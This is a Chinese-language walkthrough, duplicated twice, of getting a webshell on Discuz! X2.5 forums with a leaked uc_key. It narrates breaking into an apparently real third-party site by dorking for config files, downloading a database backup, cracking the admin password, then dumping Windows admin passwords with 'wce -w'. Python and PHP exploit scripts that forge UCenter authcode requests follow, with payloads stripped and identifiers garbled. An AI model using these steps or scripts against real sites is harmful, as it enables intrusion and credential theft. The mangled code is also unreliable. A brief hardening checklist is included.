2024年9月28日发(作者:乙楚)
实战UC_Key获取Discuz!x2.5论坛Webshell
simeon
路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章
(/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获
取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验
值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能
获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter
Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务
器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。
1.测试网上公布的0day代码
通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell
的文章,通过查看文章顺利获取0day代码。
1.1测试误区
下载到uc_和uc_代码后,首先通过程序uc_进行编译执行,结果出
现错误提示:“IndexError: list index out of range”。通过搜索错误提示,也没有找到解决错误
的方法。后面直接执行“python uc_ 127.0.0.1”命令则可以顺利执行。
图1测试uc_出错
1.2 uc_测试
1.获取uc_key值
获取uc_key可以通过“configconfig_”文件获取,也可以通过登录后台获取,
如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。
图2获取uc_key值
2.获取webshell
对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3
所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开启也会出
现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell
成功。
图3获取Webshell失败
图4获取webshell成功
对于X25系列,则可以轻松获取Webshell,执行命令“php uc_”命令后,会直接
修改“configconfig_”,如图5所示。密码为1
图5修改配置文件获取webshell
通过uc_获取webshell,每次都需要修改uc_中的host和uc_key值,使
用起来不太方便,而通过uc_则方便很多,如图6所示,通过执行python uc_ host
uc_key值,可以直接获取webshell。
图6通过uc_获取webshell
1.2实战网上获取Webshell
1.搜索敏感配置文件
在google中输入“config/config_”、“config/config_”,如图
7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。
图7google搜索敏感信息
2.查看搜索结果
在搜索结果中获取“/edusite/config”,该结果明显存在文件路径泄漏漏洞,
如图8所示,单击文件链接,尝试能否获取文件的具体内容,经过测试,发现无法获取文件
内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。
图8获取敏感文件泄漏漏洞
3.获取数据库备份文件
对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备
份,单击可以直接下载。
图9下载数据库
4.破解管理员密码
下载后120903_文件后,将该数据库备份文件导入本地mysql数据库,进行
查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图
11所示,密码为“admin”,简直无语。
图10获取用户密码等信息
图11获取管理员密码
5.获取uc_key值
如图12所示,通过后台管理系统,获取uc_key通信密钥值。
图12获取uc_key值
6.获取webshell
将该值通过“php uc_”或者“python uc_ uc_key”进行漏洞利用,
成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者
留了一个大马。
图13成功获取webshell
7.获取服务器系统管理员帐号
通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,
上次,通过“wce –w”直接获取系统管理员密码。
图14获取系统管理员账号
8. 防范与总结
Discuz!论坛在安装成功后可以通过以下一些设置加强论坛的安全:
(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入
权限。
(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell
进行测试。
(3)备份数据库后,要及时下载并删除数据库备份文件。
(4)设置强健的管理员密码,安全验证问题和答案。
(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。
9.附件程序源代码
_
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return ()
else:
return '%.8f %d' % (())
def get_authcode(string, key = ''):
ckey_length = 4
key = 5(key).hexdigest()
keya = 5(key[0:16]).hexdigest()
keyb = 5(key[16:32]).hexdigest()
keyc = (5(microtime()).hexdigest())[-ckey_length:]
#keyc = (5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + 5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '' + (5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = ()+10*3600
tm="time=%d&action=updateapps" %tm
code = (get_authcode(tm,key))
url=url+"?code="+code
data1='''
'''
try:
req=t(url,data=data1,headers=headers)
ret=n(req)
except:
return "访问出错"
data2='''
'''
try:
req=t(url,data=data2,headers=headers)
ret=n(req)
except:
return "error"
return "webshell:"+host+"/config/config_,password:1"
if __name__ == '__main__':
host=[1]
key=[2]
url=host+"/api/"
print get_shell(url,key,host)
_
// 代码版权归原作者所有!
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='
';
$cmd2='
';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/?code=".$code." HTTP/1.1rn";
$message .= "Accept: */*rn";
$message .= "Referer: ".$host."rn";
$message .= "Accept-Language: zh-cnrn";
$message .= "Content-Type: application/x-www-form-urlencodedrn";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
$message .= "Host: ".$host."rn";
$message .= "Content-Length: ".strlen($cmd)."rn";
$message .= "Connection: Closernrn";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):
substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :
sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10,
16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $_replace('=', '', base64_encode($result));
}
}
?>
2024年9月28日发(作者:乙楚)
实战UC_Key获取Discuz!x2.5论坛Webshell
simeon
路人甲在乌云漏洞平台公布了Discuz的利用UC_KEY进行getshel的文章
(/bugs/wooyun-2014-048137),随机网上公开了两套通过uc_key获
取Webshell的代码,虽然最终也成功获取了Webshell,在获取Webshell过程中有一些经验
值得分享。uc_key是Discuz! UC客户端与服务端通信的通信密钥,因此使用uc_key只能
获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter
Server是不能通过uc_key来获取该服务器上的webshell的,不过可以通过uc_key来将服务
器上的数据并重置用户口令,下面将如何测试网上公布的0day和实战过程进行分享。
1.测试网上公布的0day代码
通过在搜索引擎中检索“uc_key”关键词,可以方便的获取一些通过uc_key获取webshell
的文章,通过查看文章顺利获取0day代码。
1.1测试误区
下载到uc_和uc_代码后,首先通过程序uc_进行编译执行,结果出
现错误提示:“IndexError: list index out of range”。通过搜索错误提示,也没有找到解决错误
的方法。后面直接执行“python uc_ 127.0.0.1”命令则可以顺利执行。
图1测试uc_出错
1.2 uc_测试
1.获取uc_key值
获取uc_key可以通过“configconfig_”文件获取,也可以通过登录后台获取,
如图2所示。单击“站长”-“Ucenter设置”,复制“Ucenter通信密钥”中的值即可。
图2获取uc_key值
2.获取webshell
对最新版本X3.1测试过程中,发现如果系统开启了防水墙会禁止危险脚本访问,如图3
所示,对利用代码进行屏蔽和阻止,导致Webshell获取失败。如果数据库没有开启也会出
现上面的错误提示。如果在最后的结果中出现提示“1”,如图4所示,则表示获取webshell
成功。
图3获取Webshell失败
图4获取webshell成功
对于X25系列,则可以轻松获取Webshell,执行命令“php uc_”命令后,会直接
修改“configconfig_”,如图5所示。密码为1
图5修改配置文件获取webshell
通过uc_获取webshell,每次都需要修改uc_中的host和uc_key值,使
用起来不太方便,而通过uc_则方便很多,如图6所示,通过执行python uc_ host
uc_key值,可以直接获取webshell。
图6通过uc_获取webshell
1.2实战网上获取Webshell
1.搜索敏感配置文件
在google中输入“config/config_”、“config/config_”,如图
7所示,对搜素结果进行分析和整理。在搜索过程中可以加入“index of”获取敏感信息。
图7google搜索敏感信息
2.查看搜索结果
在搜索结果中获取“/edusite/config”,该结果明显存在文件路径泄漏漏洞,
如图8所示,单击文件链接,尝试能否获取文件的具体内容,经过测试,发现无法获取文件
内容,对bak文件无法下载或者查看,直接获取uc_key值再此处行不通。
图8获取敏感文件泄漏漏洞
3.获取数据库备份文件
对该站点存在的数据库地址进行浏览和查看,如图9所示,管理员对网站数据进行过备
份,单击可以直接下载。
图9下载数据库
4.破解管理员密码
下载后120903_文件后,将该数据库备份文件导入本地mysql数据库,进行
查看,如图10所示,获取用户的密码等信息,对管理帐号通过cmd5网站进行破解,如图
11所示,密码为“admin”,简直无语。
图10获取用户密码等信息
图11获取管理员密码
5.获取uc_key值
如图12所示,通过后台管理系统,获取uc_key通信密钥值。
图12获取uc_key值
6.获取webshell
将该值通过“php uc_”或者“python uc_ uc_key”进行漏洞利用,
成功获取webshell。如图13所示。通过webshell可以看出该网站曾经被人入侵过,入侵者
留了一个大马。
图13成功获取webshell
7.获取服务器系统管理员帐号
通过webshell命令提示符,如图14所示,执行“whoami”命令得知脚本为system权限,
上次,通过“wce –w”直接获取系统管理员密码。
图14获取系统管理员账号
8. 防范与总结
Discuz!论坛在安装成功后可以通过以下一些设置加强论坛的安全:
(1)严格设置论坛目录权限,例如“D:ComsenzEXPwwwrootconfig”设置为没有写入
权限。
(2)Apache+PHP+Mysql平台授予最低权限,不要授予system权限。可以通过webshell
进行测试。
(3)备份数据库后,要及时下载并删除数据库备份文件。
(4)设置强健的管理员密码,安全验证问题和答案。
(5)关注最新Discuz!论坛漏洞和利用方法,及时更新补丁程序。
9.附件程序源代码
_
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return ()
else:
return '%.8f %d' % (())
def get_authcode(string, key = ''):
ckey_length = 4
key = 5(key).hexdigest()
keya = 5(key[0:16]).hexdigest()
keyb = 5(key[16:32]).hexdigest()
keyc = (5(microtime()).hexdigest())[-ckey_length:]
#keyc = (5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + 5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '' + (5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
发送命令获取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = ()+10*3600
tm="time=%d&action=updateapps" %tm
code = (get_authcode(tm,key))
url=url+"?code="+code
data1='''
'''
try:
req=t(url,data=data1,headers=headers)
ret=n(req)
except:
return "访问出错"
data2='''
'''
try:
req=t(url,data=data2,headers=headers)
ret=n(req)
except:
return "error"
return "webshell:"+host+"/config/config_,password:1"
if __name__ == '__main__':
host=[1]
key=[2]
url=host+"/api/"
print get_shell(url,key,host)
_
// 代码版权归原作者所有!
$timestamp = time()+10*3600;
$host="127.0.0.1";
$uc_key="0e4b66b816fb33cf20b7686d6492xxxx8f5479fb2519895a1e7d43a52fde6f46";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='
';
$cmd2='
';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/?code=".$code." HTTP/1.1rn";
$message .= "Accept: */*rn";
$message .= "Referer: ".$host."rn";
$message .= "Accept-Language: zh-cnrn";
$message .= "Content-Type: application/x-www-form-urlencodedrn";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
$message .= "Host: ".$host."rn";
$message .= "Content-Length: ".strlen($cmd)."rn";
$message .= "Connection: Closernrn";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):
substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) :
sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10,
16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $_replace('=', '', base64_encode($result));
}
}
?>